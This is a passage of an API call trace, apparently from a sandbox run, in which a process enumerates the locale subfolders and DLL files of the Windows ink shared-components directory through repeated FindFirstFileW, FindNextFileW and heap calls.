FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.596] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.596] GetProcessHeap () returned 0x6a0000 [0166.596] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0166.596] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0166.596] GetProcessHeap () returned 0x6a0000 [0166.596] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0166.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.596] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.596] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.596] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.596] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.599] GetProcessHeap () returned 0x6a0000 [0166.599] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0166.599] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0166.599] GetProcessHeap () returned 0x6a0000 [0166.599] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0166.599] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0166.600] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.600] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0166.600] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0166.600] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0166.600] GetProcessHeap () returned 0x6a0000 [0166.600] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0166.600] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0166.600] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0166.600] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0167.030] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0167.030] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0167.031] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0167.031] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0167.031] GetProcessHeap () returned 0x6a0000 [0167.031] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.031] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.031] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.031] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.031] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.031] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.031] GetProcessHeap () returned 0x6a0000 [0167.031] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.032] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0167.032] GetProcessHeap () returned 0x6a0000 [0167.032] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.032] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.032] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.032] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.032] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.032] GetProcessHeap () returned 0x6a0000 [0167.032] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.032] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0167.032] GetProcessHeap () returned 0x6a0000 [0167.032] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.033] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.033] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.033] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.033] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.033] GetProcessHeap () returned 0x6a0000 [0167.033] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.033] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0167.033] GetProcessHeap () returned 0x6a0000 [0167.033] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.033] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.033] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.033] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.034] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.034] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.034] GetProcessHeap () returned 0x6a0000 [0167.034] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.034] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0167.034] GetProcessHeap () returned 0x6a0000 [0167.034] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.034] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.034] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.034] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4bbb926, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4dd0c3c, ftLastAccessTime.dwHighDateTime=0x1ca0420, 